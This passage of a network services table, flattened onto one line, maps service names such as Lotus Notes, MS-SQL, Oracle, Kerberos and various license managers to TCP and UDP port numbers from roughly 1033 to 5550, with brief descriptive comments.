netinfo 1033/tcp # Netinfo is apparently on many OS X boxes. OTG-fileshare 1050/tcp # J2EE nameserver, also OTG, also called Disk/Application extender. Could also be MiniCommand backdoor OTGlicenseserv nim 1058/tcp # nim 1058/udp # nimreg 1059/tcp # nimreg 1059/udp # instl_boots 1067/tcp # Installation Bootstrap Proto. Serv. instl_boots 1067/udp # Installation Bootstrap Proto. Serv. instl_bootc 1068/tcp # Installation Bootstrap Proto. Cli. instl_bootc 1068/udp # Installation Bootstrap Proto. Cli. sns_credit 1076/tcp # Shared Network Services (SNS) for Canadian credit card authorizations socks 1080/tcp # socks 1080/udp # ansoft-lm-1 1083/tcp # Anasoft License Manager ansoft-lm-1 1083/udp # Anasoft License Manager ansoft-lm-2 1084/tcp # Anasoft License Manager ansoft-lm-2 1084/udp # Anasoft License Manager xaudio 1103/tcp # Xaserver # X Audio Server kpop 1109/tcp # Pop with Kerberos nfsd-status 1110/tcp # Cluster status info nfsd-keepalive 1110/udp # Client status info msql 1112/tcp # mini-sql server supfiledbg 1127/tcp # SUP debugging cce3x 1139/tcp # ClearCommerce Engine 3.x ( www.clearcommerce.com) nfa 1155/tcp # Network File Access nfa 1155/udp # Network File Access phone 1167/udp # conference calling skkserv 1178/tcp # SKK (kanji input) lupa 1212/tcp # lupa 1212/udp # quicktime 1220/tcp # Apple Darwin and QuickTime Streaming Administration Servers nerv 1222/tcp # SNI R&D network nerv 1222/udp # SNI R&D network hotline 1234/tcp # msg 1241/tcp # remote message server hermes 1248/tcp # hermes 1248/udp # alta-ana-lm 1346/tcp # Alta Analytics License Manager alta-ana-lm 1346/udp # Alta Analytics License Manager bbn-mmc 1347/tcp # multi media conferencing bbn-mmc 1347/udp # multi media conferencing bbn-mmx 1348/tcp # multi media conferencing bbn-mmx 1348/udp # multi media conferencing sbook 1349/tcp # Registration Network Protocol sbook 1349/udp # Registration Network Protocol editbench 1350/tcp # Registration Network Protocol editbench 1350/udp # Registration Network Protocol equationbuilder 1351/tcp # Digital Tool Works (MIT) equationbuilder 1351/udp # Digital Tool Works (MIT) lotusnotes 1352/tcp # Lotus Note lotusnotes 1352/udp # Lotus Note relief 1353/tcp # Relief Consulting relief 1353/udp # Relief Consulting rightbrain 1354/tcp # RightBrain Software rightbrain 1354/udp # RightBrain Software intuitive-edge 1355/tcp # Intuitive Edge intuitive-edge 1355/udp # Intuitive Edge cuillamartin 1356/tcp # CuillaMartin Company cuillamartin 1356/udp # CuillaMartin Company pegboard 1357/tcp # Electronic PegBoard pegboard 1357/udp # Electronic PegBoard connlcli 1358/tcp # connlcli 1358/udp # ftsrv 1359/tcp # ftsrv 1359/udp # mimer 1360/tcp # mimer 1360/udp # linx 1361/tcp # linx 1361/udp # timeflies 1362/tcp # timeflies 1362/udp # ndm-requester 1363/tcp # Network DataMover Requester ndm-requester 1363/udp # Network DataMover Requester ndm-server 1364/tcp # Network DataMover Server ndm-server 1364/udp # Network DataMover Server adapt-sna 1365/tcp # Network Software Associates adapt-sna 1365/udp # Network Software Associates netware-csp 1366/tcp # Novell NetWare Comm Service Platform netware-csp 1366/udp # Novell NetWare Comm Service Platform dcs 1367/tcp # dcs 1367/udp # screencast 1368/tcp # screencast 1368/udp # gv-us 1369/tcp # GlobalView to Unix Shell gv-us 1369/udp # GlobalView to Unix Shell us-gv 1370/tcp # Unix Shell to GlobalView us-gv 1370/udp # Unix Shell to GlobalView fc-cli 1371/tcp # Fujitsu Config Protocol fc-cli 1371/udp # Fujitsu Config Protocol fc-ser 1372/tcp # Fujitsu Config Protocol fc-ser 1372/udp # Fujitsu Config Protocol chromagrafx 1373/tcp # chromagrafx 1373/udp # molly 1374/tcp # EPI Software Systems molly 1374/udp # EPI Software Systems bytex 1375/tcp # bytex 1375/udp # ibm-pps 1376/tcp # IBM Person to Person Software ibm-pps 1376/udp # IBM Person to Person Software cichlid 1377/tcp # Cichlid License Manager cichlid 1377/udp # Cichlid License Manager elan 1378/tcp # Elan License Manager elan 1378/udp # Elan License Manager dbreporter 1379/tcp # Integrity Solutions dbreporter 1379/udp # Integrity Solutions telesis-licman 1380/tcp # Telesis Network License Manager telesis-licman 1380/udp # Telesis Network License Manager apple-licman 1381/tcp # Apple Network License Manager apple-licman 1381/udp # Apple Network License Manager gwha 1383/tcp # GW Hannaway Network License Manager gwha 1383/udp # GW Hannaway Network License Manager os-licman 1384/tcp # Objective Solutions License Manager os-licman 1384/udp # Objective Solutions License Manager atex_elmd 1385/tcp # Atex Publishing License Manager atex_elmd 1385/udp # Atex Publishing License Manager checksum 1386/tcp # CheckSum License Manager checksum 1386/udp # CheckSum License Manager cadsi-lm 1387/tcp # Computer Aided Design Software Inc LM cadsi-lm 1387/udp # Computer Aided Design Software Inc LM objective-dbc 1388/tcp # Objective Solutions DataBase Cache objective-dbc 1388/udp # Objective Solutions DataBase Cache iclpv-dm 1389/tcp # Document Manager iclpv-dm 1389/udp # Document Manager iclpv-sc 1390/tcp # Storage Controller iclpv-sc 1390/udp # Storage Controller iclpv-sas 1391/tcp # Storage Access Server iclpv-sas 1391/udp # Storage Access Server iclpv-pm 1392/tcp # Print Manager iclpv-pm 1392/udp # Print Manager iclpv-nls 1393/tcp # Network Log Server iclpv-nls 1393/udp # Network Log Server iclpv-nlc 1394/tcp # Network Log Client iclpv-nlc 1394/udp # Network Log Client iclpv-wsm 1395/tcp # PC Workstation Manager software iclpv-wsm 1395/udp # PC Workstation Manager software dvl-activemail 1396/tcp # DVL Active Mail dvl-activemail 1396/udp # DVL Active Mail audio-activmail 1397/tcp # Audio Active Mail audio-activmail 1397/udp # Audio Active Mail video-activmail 1398/tcp # Video Active Mail video-activmail 1398/udp # Video Active Mail cadkey-licman 1399/tcp # Cadkey License Manager cadkey-licman 1399/udp # Cadkey License Manager cadkey-tablet 1400/tcp # Cadkey Tablet Daemon cadkey-tablet 1400/udp # Cadkey Tablet Daemon goldleaf-licman 1401/tcp # Goldleaf License Manager goldleaf-licman 1401/udp # Goldleaf License Manager prm-sm-np 1402/tcp # Prospero Resource Manager prm-sm-np 1402/udp # Prospero Resource Manager prm-nm-np 1403/tcp # Prospero Resource Manager prm-nm-np 1403/udp # Prospero Resource Manager igi-lm 1404/tcp # Infinite Graphics License Manager igi-lm 1404/udp # Infinite Graphics License Manager ibm-res 1405/tcp # IBM Remote Execution Starter ibm-res 1405/udp # IBM Remote Execution Starter netlabs-lm 1406/tcp # NetLabs License Manager netlabs-lm 1406/udp # NetLabs License Manager dbsa-lm 1407/tcp # DBSA License Manager dbsa-lm 1407/udp # DBSA License Manager sophia-lm 1408/tcp # Sophia License Manager sophia-lm 1408/udp # Sophia License Manager here-lm 1409/tcp # Here License Manager here-lm 1409/udp # Here License Manager hiq 1410/tcp # HiQ License Manager hiq 1410/udp # HiQ License Manager af 1411/tcp # AudioFile af 1411/udp # AudioFile innosys 1412/tcp # innosys 1412/udp # innosys-acl 1413/tcp # innosys-acl 1413/udp # ibm-mqseries 1414/tcp # IBM MQSeries ibm-mqseries 1414/udp # IBM MQSeries dbstar 1415/tcp # dbstar 1415/udp # novell-lu6.2 1416/tcp # Novell LU6.2 novell-lu6.2 1416/udp # Novell LU6.2 timbuktu-srv1 1417/tcp # Timbuktu Service 1 Port timbuktu-srv1 1417/udp # Timbuktu Service 1 Port timbuktu-srv2 1418/tcp # Timbuktu Service 2 Port timbuktu-srv2 1418/udp # Timbuktu Service 2 Port timbuktu-srv3 1419/tcp # Timbuktu Service 3 Port timbuktu-srv3 1419/udp # Timbuktu Service 3 Port timbuktu-srv4 1420/tcp # Timbuktu Service 4 Port timbuktu-srv4 1420/udp # Timbuktu Service 4 Port gandalf-lm 1421/tcp # Gandalf License Manager gandalf-lm 1421/udp # Gandalf License Manager autodesk-lm 1422/tcp # Autodesk License Manager autodesk-lm 1422/udp # Autodesk License Manager essbase 1423/tcp # Essbase Arbor Software essbase 1423/udp # Essbase Arbor Software hybrid 1424/tcp # Hybrid Encryption Protocol hybrid 1424/udp # Hybrid Encryption Protocol zion-lm 1425/tcp # Zion Software License Manager zion-lm 1425/udp # Zion Software License Manager sas-1 1426/tcp # Satellite-data Acquisition System 1 sas-1 1426/udp # Satellite-data Acquisition System 1 mloadd 1427/tcp # mloadd monitoring tool mloadd 1427/udp # mloadd monitoring tool informatik-lm 1428/tcp # Informatik License Manager informatik-lm 1428/udp # Informatik License Manager nms 1429/tcp # Hypercom NMS nms 1429/udp # Hypercom NMS tpdu 1430/tcp # Hypercom TPDU tpdu 1430/udp # Hypercom TPDU rgtp 1431/tcp # Reverse Gossip Transport rgtp 1431/udp # Reverse Gossip Transport blueberry-lm 1432/tcp # Blueberry Software License Manager blueberry-lm 1432/udp # Blueberry Software License Manager ms-sql-s 1433/tcp # Microsoft-SQL-Server ms-sql-s 1433/udp # Microsoft-SQL-Server ms-sql-m 1434/tcp # Microsoft-SQL-Monitor ms-sql-m 1434/udp # Microsoft-SQL-Monitor ibm-cics 1435/tcp # ibm-cics 1435/udp # sas-2 1436/tcp # Satellite-data Acquisition System 2 sas-2 1436/udp # Satellite-data Acquisition System 2 tabula 1437/tcp # tabula 1437/udp # eicon-server 1438/tcp # Eicon Security Agent/Server eicon-server 1438/udp # Eicon Security Agent/Server eicon-x25 1439/tcp # Eicon X25/SNA Gateway eicon-x25 1439/udp # Eicon X25/SNA Gateway eicon-slp 1440/tcp # Eicon Service Location Protocol eicon-slp 1440/udp # Eicon Service Location Protocol cadis-1 1441/tcp # Cadis License Management cadis-1 1441/udp # Cadis License Management cadis-2 1442/tcp # Cadis License Management cadis-2 1442/udp # Cadis License Management ies-lm 1443/tcp # Integrated Engineering Software ies-lm 1443/udp # Integrated Engineering Software marcam-lm 1444/tcp # Marcam License Management marcam-lm 1444/udp # Marcam License Management proxima-lm 1445/tcp # Proxima License Manager proxima-lm 1445/udp # Proxima License Manager ora-lm 1446/tcp # Optical Research Associates License Manager ora-lm 1446/udp # Optical Research Associates License Manager apri-lm 1447/tcp # Applied Parallel Research LM apri-lm 1447/udp # Applied Parallel Research LM oc-lm 1448/tcp # OpenConnect License Manager oc-lm 1448/udp # OpenConnect License Manager peport 1449/tcp # peport 1449/udp # dwf 1450/tcp # Tandem Distributed Workbench Facility dwf 1450/udp # Tandem Distributed Workbench Facility infoman 1451/tcp # IBM Information Management infoman 1451/udp # IBM Information Management gtegsc-lm 1452/tcp # GTE Government Systems License Man gtegsc-lm 1452/udp # GTE Government Systems License Man genie-lm 1453/tcp # Genie License Manager genie-lm 1453/udp # Genie License Manager interhdl_elmd 1454/tcp # interHDL License Manager interhdl_elmd 1454/udp # interHDL License Manager esl-lm 1455/tcp # ESL License Manager esl-lm 1455/udp # ESL License Manager dca 1456/tcp # dca 1456/udp # valisys-lm 1457/tcp # Valisys License Manager valisys-lm 1457/udp # Valisys License Manager nrcabq-lm 1458/tcp # Nichols Research Corp. nrcabq-lm 1458/udp # Nichols Research Corp. proshare1 1459/tcp # Proshare Notebook Application proshare1 1459/udp # Proshare Notebook Application proshare2 1460/tcp # Proshare Notebook Application proshare2 1460/udp # Proshare Notebook Application ibm_wrless_lan 1461/tcp # IBM Wireless LAN ibm_wrless_lan 1461/udp # IBM Wireless LAN world-lm 1462/tcp # World License Manager world-lm 1462/udp # World License Manager nucleus 1463/tcp # nucleus 1463/udp # msl_lmd 1464/tcp # MSL License Manager msl_lmd 1464/udp # MSL License Manager pipes 1465/tcp # Pipes Platform pipes 1465/udp # oceansoft-lm 1466/tcp # Ocean Software License Manager oceansoft-lm 1466/udp # Ocean Software License Manager csdmbase 1467/tcp # csdmbase 1467/udp # csdm 1468/tcp # csdm 1468/udp # aal-lm 1469/tcp # Active Analysis Limited License Manager aal-lm 1469/udp # Active Analysis Limited License Manager uaiact 1470/tcp # Universal Analytics uaiact 1470/udp # Universal Analytics csdmbase 1471/tcp # csdmbase 1471/udp # csdm 1472/tcp # csdm 1472/udp # openmath 1473/tcp # openmath 1473/udp # telefinder 1474/tcp # telefinder 1474/udp # taligent-lm 1475/tcp # Taligent License Manager taligent-lm 1475/udp # Taligent License Manager clvm-cfg 1476/tcp # clvm-cfg 1476/udp # ms-sna-server 1477/tcp # ms-sna-server 1477/udp # ms-sna-base 1478/tcp # ms-sna-base 1478/udp # dberegister 1479/tcp # dberegister 1479/udp # pacerforum 1480/tcp # pacerforum 1480/udp # airs 1481/tcp # airs 1481/udp # miteksys-lm 1482/tcp # Miteksys License Manager miteksys-lm 1482/udp # Miteksys License Manager afs 1483/tcp # AFS License Manager afs 1483/udp # AFS License Manager confluent 1484/tcp # Confluent License Manager confluent 1484/udp # Confluent License Manager lansource 1485/tcp # lansource 1485/udp # nms_topo_serv 1486/tcp # nms_topo_serv 1486/udp # localinfosrvr 1487/tcp # localinfosrvr 1487/udp # docstor 1488/tcp # docstor 1488/udp # dmdocbroker 1489/tcp # dmdocbroker 1489/udp # insitu-conf 1490/tcp # insitu-conf 1490/udp # anynetgateway 1491/tcp # anynetgateway 1491/udp # stone-design-1 1492/tcp # stone-design-1 1492/udp # netmap_lm 1493/tcp # netmap_lm 1493/udp # citrix-ica 1494/tcp # citrix-ica 1494/udp # cvc 1495/tcp # cvc 1495/udp # liberty-lm 1496/tcp # liberty-lm 1496/udp # rfx-lm 1497/tcp # rfx-lm 1497/udp # watcom-sql 1498/tcp # watcom-sql 1498/udp # fhc 1499/tcp # Federico Heinz Consultora fhc 1499/udp # Federico Heinz Consultora vlsi-lm 1500/tcp # VLSI License Manager vlsi-lm 1500/udp # VLSI License Manager sas-3 1501/tcp # Satellite-data Acquisition System 3 sas-3 1501/udp # Satellite-data Acquisition System 3 shivadiscovery 1502/tcp # Shiva shivadiscovery 1502/udp # Shiva imtc-mcs 1503/tcp # Databeam imtc-mcs 1503/udp # Databeam evb-elm 1504/tcp # EVB Software Engineering License Manager evb-elm 1504/udp # EVB Software Engineering License Manager funkproxy 1505/tcp # Funk Software, Inc. funkproxy 1505/udp # Funk Software, Inc. utcd 1506/tcp # Universal Time daemon (utcd) utcd 1506/udp # Universal Time daemon (utcd) symplex 1507/tcp # symplex 1507/udp # diagmond 1508/tcp # diagmond 1508/udp # robcad-lm 1509/tcp # Robcad, Ltd. License Manager robcad-lm 1509/udp # Robcad, Ltd. License Manager mvx-lm 1510/tcp # Midland Valley Exploration Ltd. Lic. Man. mvx-lm 1510/udp # Midland Valley Exploration Ltd. Lic. Man. 3l-l1 1511/tcp # 3l-l1 1511/udp # wins 1512/tcp # Microsoft's Windows Internet Name Service wins 1512/udp # Microsoft's Windows Internet Name Service fujitsu-dtc 1513/tcp # Fujitsu Systems Business of America, Inc fujitsu-dtc 1513/udp # Fujitsu Systems Business of America, Inc fujitsu-dtcns 1514/tcp # Fujitsu Systems Business of America, Inc fujitsu-dtcns 1514/udp # Fujitsu Systems Business of America, Inc ifor-protocol 1515/tcp # ifor-protocol 1515/udp # vpad 1516/tcp # Virtual Places Audio data vpad 1516/udp # Virtual Places Audio data vpac 1517/tcp # Virtual Places Audio control vpac 1517/udp # Virtual Places Audio control vpvd 1518/tcp # Virtual Places Video data vpvd 1518/udp # Virtual Places Video data vpvc 1519/tcp # Virtual Places Video control vpvc 1519/udp # Virtual Places Video control atm-zip-office 1520/tcp # atm zip office atm-zip-office 1520/udp # atm zip office oracle 1521/tcp # Oracle Database ncube-lm 1521/udp # nCube License Manager rna-lm 1522/tcp # Ricardo North America License Manager rna-lm 1522/udp # Ricardo North America License Manager cichild-lm 1523/tcp # cichild-lm 1523/udp # ingreslock 1524/tcp # ingres ingreslock 1524/udp # ingres orasrv 1525/tcp # oracle or Prospero Directory Service non-priv orasrv 1525/udp # oracle pdap-np 1526/tcp # Prospero Data Access Prot non-priv pdap-np 1526/udp # Prospero Data Access Prot non-priv tlisrv 1527/tcp # oracle tlisrv 1527/udp # oracle mciautoreg 1528/tcp # mciautoreg 1528/udp # support 1529/tcp # prmsd gnatsd # cygnus bug tracker coauthor 1529/udp # oracle rap-service 1530/tcp # rap-service 1530/udp # rap-listen 1531/tcp # rap-listen 1531/udp # miroconnect 1532/tcp # miroconnect 1532/udp # virtual-places 1533/tcp # Virtual Places Software virtual-places 1533/udp # Virtual Places Software micromuse-lm 1534/tcp # micromuse-lm 1534/udp # ampr-info 1535/tcp # ampr-info 1535/udp # ampr-inter 1536/tcp # ampr-inter 1536/udp # sdsc-lm 1537/tcp # sdsc-lm 1537/udp # 3ds-lm 1538/tcp # 3ds-lm 1538/udp # intellistor-lm 1539/tcp # Intellistor License Manager intellistor-lm 1539/udp # Intellistor License Manager rds 1540/tcp # rds 1540/udp # rds2 1541/tcp # rds2 1541/udp # gridgen-elmd 1542/tcp # gridgen-elmd 1542/udp # simba-cs 1543/tcp # simba-cs 1543/udp # aspeclmd 1544/tcp # aspeclmd 1544/udp # vistium-share 1545/tcp # vistium-share 1545/udp # abbaccuray 1546/tcp # abbaccuray 1546/udp # laplink 1547/tcp # laplink 1547/udp # axon-lm 1548/tcp # Axon License Manager axon-lm 1548/udp # Axon License Manager shivahose 1549/tcp # Shiva Hose shivasound 1549/udp # Shiva Sound 3m-image-lm 1550/tcp # Image Storage license manager 3M Company 3m-image-lm 1550/udp # Image Storage license manager 3M Company hecmtl-db 1551/tcp # hecmtl-db 1551/udp # pciarray 1552/tcp # pciarray 1552/udp # issd 1600/tcp # issd 1600/udp # radius 1645/udp # radius authentication radacct 1646/udp # radius accounting nkd 1650/tcp # nkd 1650/udp # shiva_confsrvr 1651/tcp # shiva_confsrvr 1651/udp # xnmp 1652/tcp # xnmp 1652/udp # netview-aix-1 1661/tcp # netview-aix-1 1661/udp # netview-aix-2 1662/tcp # netview-aix-2 1662/udp # netview-aix-3 1663/tcp # netview-aix-3 1663/udp # netview-aix-4 1664/tcp # netview-aix-4 1664/udp # netview-aix-5 1665/tcp # netview-aix-5 1665/udp # netview-aix-6 1666/tcp # netview-aix-6 1666/udp # netview-aix-7 1667/tcp # netview-aix-7 1667/udp # netview-aix-8 1668/tcp # netview-aix-8 1668/udp # netview-aix-9 1669/tcp # netview-aix-9 1669/udp # netview-aix-10 1670/tcp # netview-aix-10 1670/udp # netview-aix-11 1671/tcp # netview-aix-11 1671/udp # netview-aix-12 1672/tcp # netview-aix-12 1672/udp # CarbonCopy 1680/tcp # L2TP 1701/udp # H.323/Q.931 1720/tcp # Interactive media pptp 1723/tcp # Point-to-point tunnelling protocol wms 1755/tcp # Windows media service radius 1812/udp # RADIUS authentication protocol (RFC 2138) radacct 1813/udp # RADIUS accounting protocol (RFC 2139) pcm 1827/tcp # PCM Agent (AutoSecure Policy Compliance Manager UPnP 1900/tcp # Universal PnP UPnP 1900/udp # Universal PnP bigbrother 1984/tcp # Big Brother monitoring server - www.bb4.com licensedaemon 1986/tcp # cisco license management licensedaemon 1986/udp # cisco license management tr-rsrb-p1 1987/tcp # cisco RSRB Priority 1 port tr-rsrb-p1 1987/udp # cisco RSRB Priority 1 port tr-rsrb-p2 1988/tcp # cisco RSRB Priority 2 port tr-rsrb-p2 1988/udp # cisco RSRB Priority 2 port tr-rsrb-p3 1989/tcp # cisco RSRB Priority 3 port tr-rsrb-p3 1989/udp # cisco RSRB Priority 3 port stun-p1 1990/tcp # cisco STUN Priority 1 port stun-p1 1990/udp # cisco STUN Priority 1 port stun-p2 1991/tcp # cisco STUN Priority 2 port stun-p2 1991/udp # cisco STUN Priority 2 port stun-p3 1992/tcp # cisco STUN Priority 3 port stun-p3 1992/udp # cisco STUN Priority 3 port snmp-tcp-port 1993/tcp # cisco SNMP TCP port snmp-tcp-port 1993/udp # cisco SNMP TCP port stun-port 1994/tcp # cisco serial tunnel port stun-port 1994/udp # cisco serial tunnel port perf-port 1995/tcp # cisco perf port perf-port 1995/udp # cisco perf port tr-rsrb-port 1996/tcp # cisco Remote SRB port tr-rsrb-port 1996/udp # cisco Remote SRB port gdp-port 1997/tcp # cisco Gateway Discovery Protocol gdp-port 1997/udp # cisco Gateway Discovery Protocol x25-svc-port 1998/tcp # cisco X.25 service (XOT) x25-svc-port 1998/udp # cisco X.25 service (XOT) tcp-id-port 1999/tcp # cisco identification port tcp-id-port 1999/udp # cisco identification port callbook 2000/tcp # callbook 2000/udp # dc 2001/tcp # or nfr20 web queries wizard 2001/udp # curry globe 2002/tcp # globe 2002/udp # cfingerd 2003/tcp # GNU finger mailbox 2004/tcp # emce 2004/udp # CCWS mm conf deslogin 2005/tcp # encrypted symmetric telnet/login oracle 2005/udp # invokator 2006/tcp # raid-cc 2006/udp # raid dectalk 2007/tcp # raid-am 2007/udp # conf 2008/tcp # terminaldb 2008/udp # news 2009/tcp # whosockami 2009/udp # search 2010/tcp # Or nfr411 pipe_server 2010/udp # Also used by NFR raid-cc 2011/tcp # raid servserv 2011/udp # ttyinfo 2012/tcp # raid-ac 2012/udp # raid-am 2013/tcp # raid-cd 2013/udp # troff 2014/tcp # raid-sf 2014/udp # cypress 2015/tcp # raid-cs 2015/udp # bootserver 2016/tcp # bootserver 2016/udp # cypress-stat 2017/tcp # bootclient 2017/udp # terminaldb 2018/tcp # rellpack 2018/udp # whosockami 2019/tcp # about 2019/udp # xinupageserver 2020/tcp # xinupageserver 2020/udp # servexec 2021/tcp # xinuexpansion1 2021/udp # down 2022/tcp # xinuexpansion2 2022/udp # xinuexpansion3 2023/tcp # xinuexpansion3 2023/udp # xinuexpansion4 2024/tcp # xinuexpansion4 2024/udp # ellpack 2025/tcp # xribs 2025/udp # scrabble 2026/tcp # scrabble 2026/udp # shadowserver 2027/tcp # shadowserver 2027/udp # submitserver 2028/tcp # submitserver 2028/udp # device2 2030/tcp # device2 2030/udp # blackboard 2032/tcp # blackboard 2032/udp # glogger 2033/tcp # glogger 2033/udp # scoremgr 2034/tcp # scoremgr 2034/udp # imsldoc 2035/tcp # imsldoc 2035/udp # objectmanager 2038/tcp # objectmanager 2038/udp # lam 2040/tcp # lam 2040/udp # interbase 2041/tcp # interbase 2041/udp # isis 2042/tcp # isis 2042/udp # isis-bcast 2043/tcp # isis-bcast 2043/udp # rimsl 2044/tcp # rimsl 2044/udp # cdfunc 2045/tcp # cdfunc 2045/udp # sdfunc 2046/tcp # sdfunc 2046/udp # dls 2047/tcp # dls 2047/udp # dls-monitor 2048/tcp # dls-monitor 2048/udp # nfs 2049/tcp # networked file system nfs 2049/udp # networked file system dnet-keyproxy 2064/tcp # A closed-source client for solving the RSA cryptographic challenge. This is the keyblock proxy port. knetd 2053/tcp # dlsrpn 2065/tcp # Data Link Switch Read Port Number dlsrpn 2065/udp # Data Link Switch Read Port Number dlswpn 2067/tcp # Data Link Switch Write Port Number dlswpn 2067/udp # Data Link Switch Write Port Number advocentkvm 2068/tcp # Advocent KVM Server zephyr-clt 2103/udp # Zephyr serv-hm connection zephyr-hm 2104/udp # Zephyr hostmanager eklogin 2105/tcp # Kerberos (v4) encrypted rlogin eklogin 2105/udp # Kerberos (v4) encrypted rlogin ekshell 2106/tcp # Kerberos (v4) encrypted rshell ekshell 2106/udp # Kerberos (v4) encrypted rshell rkinit 2108/tcp # Kerberos (v4) remote initialization rkinit 2108/udp # Kerberos (v4) remote initialization kx 2111/tcp # X over kerberos kip 2112/tcp # IP over kerberos kauth 2120/tcp # Remote kauth ats 2201/tcp # Advanced Training System Program ats 2201/udp # Advanced Training System Program ivs-video 2232/tcp # IVS Video default ivs-video 2232/udp # IVS Video default ivsd 2241/tcp # IVS Daemon ivsd 2241/udp # IVS Daemon compaqdiag 2301/tcp # Compaq remote diagnostic/management pehelp 2307/tcp # pehelp 2307/udp # cvspserver 2401/tcp # CVS network server cvspserver 2401/udp # CVS network server venus 2430/tcp # venus 2430/udp # venus-se 2431/tcp # venus-se 2431/udp # codasrv 2432/tcp # codasrv 2432/udp # codasrv-se 2433/tcp # codasrv-se 2433/udp # rtsserv 2500/tcp # Resource Tracking system server rtsserv 2500/udp # Resource Tracking system server rtsclient 2501/tcp # Resource Tracking system client rtsclient 2501/udp # Resource Tracking system client hp-3000-telnet 2564/tcp # HP 3000 NS/VT block mode telnet zebrasrv 2600/tcp # zebra service zebra 2601/tcp # zebra vty ripd 2602/tcp # RIPd vty ripngd 2603/tcp # RIPngd vty ospfd 2604/tcp # OSPFd vty bgpd 2605/tcp # BGPd vty webster 2627/tcp # Network dictionary webster 2627/udp # sybase 2638/tcp # Sybase database listen 2766/tcp # System V listener port www-dev 2784/tcp # world wide web - development www-dev 2784/udp # world wide web - development extensisportfolio 2903/tcp # Portfolio Server by Extensis Product Group iss-realsec 2998/tcp # ISS RealSecure IDS Remote Console Admin port ppp 3000/tcp # User-level ppp daemon, or chili!soft asp nessusd 3001/tcp # Nessus Security Scanner (www.nessus.org) Daemon or chili!soft asp deslogin 3005/tcp # encrypted symmetric telnet/login deslogind 3006/tcp # cfs 3049/tcp # cryptographic file system (nfs) (proposed) cfs 3049/udp # cryptographic file system (nfs) PowerChute 3052/tcp dnet-tstproxy 3064/tcp # distributed.net (a closed source crypto-cracking project) proxy test port sj3 3086/tcp # SJ3 (kanji input) squid-http 3128/tcp # squid-ipc 3130/udp # vmodem 3141/tcp # vmodem 3141/udp # ccmail 3264/tcp # cc:mail/lotus ccmail 3264/udp # cc:mail/lotus globalcatLDAP 3268/tcp # Global Catalog LDAP globalcatLDAPssl 3269/tcp # Global Catalog LDAP over ssl meetingmaker 3292/tcp # Meeting maker time management software mysql 3306/tcp # mySQL dec-notes 3333/tcp # DEC Notes dec-notes 3333/udp # DEC Notes msdtc 3372/tcp # MS distributed transaction coordinator ms-term-serv 3389/tcp # Microsoft Remote Display Protocol squid-snmp 3401/udp # Squid proxy SNMP port bmap 3421/tcp # Bull Apprise portmapper bmap 3421/udp # Bull Apprise portmapper prsvp 3455/tcp # RSVP Port prsvp 3455/udp # RSVP Port vat 3456/tcp # VAT default data IISrpc-or-vat 3456/udp # also VAT default data vat-control 3457/tcp # VAT default control vat-control 3457/udp # VAT default control track 3462/tcp # software distribution udt_os 3900/tcp # Unidata UDT OS udt_os 3900/udp # Unidata UDT OS mapper-nodemgr 3984/tcp # MAPPER network node manager mapper-nodemgr 3984/udp # MAPPER network node manager mapper-mapethd 3985/tcp # MAPPER TCP/IP server mapper-mapethd 3985/udp # MAPPER TCP/IP server mapper-ws_ethd 3986/tcp # MAPPER workstation server mapper-ws_ethd 3986/udp # MAPPER workstation server remoteanything 3996/udp # neoworx remote-anything slave daemon remoteanything 3997/udp # neoworx remote-anything master daemon remoteanything 3998/udp # neoworx remote-anything reserved remoteanything 3999/tcp # neoworx remote-anything slave file browser remoteanything 4000/tcp # neoworx remote-anything slave remote control icq 4000/udp # AOL ICQ instant messaging clent-server communication netcheque 4008/tcp # NetCheque accounting netcheque 4008/udp # NetCheque accounting lockd 4045/tcp # lockd 4045/udp # NFS lock daemon/manager nuts_dem 4132/tcp # NUTS Daemon nuts_dem 4132/udp # NUTS Daemon nuts_bootp 4133/tcp # NUTS Bootp Server nuts_bootp 4133/udp # NUTS Bootp Server wincim 4144/tcp # pc windows compuserve.com protocol rwhois 4321/tcp # Remote Who Is rwhois 4321/udp # Remote Who Is msql 4333/tcp # mini-sql server unicall 4343/tcp # unicall 4343/udp # krb524 4444/tcp # Kerberos 5 to 4 ticket xlator krb524 4444/udp # proxy-plus 4480/tcp # Proxy+ HTTP proxy port sae-urn 4500/tcp # sae-urn 4500/udp # fax 4557/tcp # FlexFax FAX transmission service hylafax 4559/tcp # HylaFAX client-server protocol rfa 4672/tcp # remote file access server rfa 4672/udp # remote file access server squid-htcp 4827/udp # Squid proxy HTCP port radmin 4899/tcp # Radmin (www.radmin.com) remote PC control software maybeveritas 4987/tcp # maybeveritas 4998/tcp # UPnP 5000/tcp # Universal PnP, also Free Internet Chess Server UPnP 5000/udp # also complex-main commplex-link 5001/tcp # commplex-link 5001/udp # rfe 5002/tcp # Radio Free Ethernet rfe 5002/udp # Radio Free Ethernet filemaker 5003/tcp # Filemaker Server - http://www.filemaker.com/ti/104289.html filemaker 5003/udp # Filemaker Server - http://www.filemaker.com/ti/104289.html telelpathstart 5010/tcp # telelpathstart 5010/udp # telelpathattack 5011/tcp # telelpathattack 5011/udp # yahoo_msg 5050/tcp # yahoo messenger yahoo_msg 5050/udp # yahoo messenger admd 5100/tcp # (chili!soft asp admin port) admdog 5101/tcp # (chili!soft asp) admeng 5102/tcp # (chili!soft asp) rmonitor_secure 5145/tcp # rmonitor_secure 5145/udp # aol 5190/tcp # America-Online. Also can be used by ICQ aol 5190/udp # America-Online. aol-1 5191/tcp # AmericaOnline1 aol-1 5191/udp # AmericaOnline1 aol-2 5192/tcp # AmericaOnline2 aol-2 5192/udp # AmericaOnline2 aol-3 5193/tcp # AmericaOnline3 aol-3 5193/udp # AmericaOnline3 sgi-dgl 5232/tcp # SGI Distributed Graphics padl2sim 5236/tcp # padl2sim 5236/udp # hacl-hb 5300/tcp # HA cluster heartbeat hacl-hb 5300/udp # HA cluster heartbeat hacl-gs 5301/tcp # HA cluster general services hacl-gs 5301/udp # HA cluster general services hacl-cfg 5302/tcp # HA cluster configuration hacl-cfg 5302/udp # HA cluster configuration hacl-probe 5303/tcp # HA cluster probing hacl-probe 5303/udp # HA cluster probing hacl-local 5304/tcp # hacl-local 5304/udp # hacl-test 5305/tcp # hacl-test 5305/udp # cfengine 5308/tcp # cfengine 5308/udp # pcduo-old 5400/tcp # RemCon PC-Duo - old port pcduo 5405/tcp # RemCon PC-Duo - new port connect-proxy 5490/tcp # Many HTTP CONNECT proxies postgres 5432/tcp # postgres database server securid 5500/udp # SecurID secureidprop 5510/tcp # ACE/Server services sdlog 5520/tcp # ACE/Server services sdserv 5530/tcp # ACE/Server services sdreport 5540/tcp # ACE/Server services sdxauthd 5540/udp # ACE/Server services sdadmind 5550/tcp # ACE/Server services 